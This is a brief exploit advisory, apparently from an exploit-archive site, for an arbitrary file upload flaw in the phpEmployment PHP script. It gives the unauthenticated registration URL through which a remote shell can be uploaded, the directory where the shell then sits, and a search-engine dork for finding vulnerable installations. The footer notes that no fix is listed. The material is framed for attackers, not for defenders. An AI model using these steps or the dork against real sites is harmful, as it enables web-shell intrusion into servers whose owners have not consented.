phpEmployment (php upload) Arbitrary File Upload Vulnerability

2008-12-23 22:41:37

****(remote shell upload)****

script: phpEmployment

***************************************************************************
download from:http://www.w2b.ru/download/phpEmployment.zip

***************************************************************************
www.site.com/path/auth.php?mode=regnew&adtype=job

shell: www.site.com/path/photoes/number_shell.php

----------------------------------------------------------------------------------------
dork:"powered by phpEmployment"
------------------------------------------------------------------------------------------
**************************************************


Author: ahmadbady

**************************************************

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.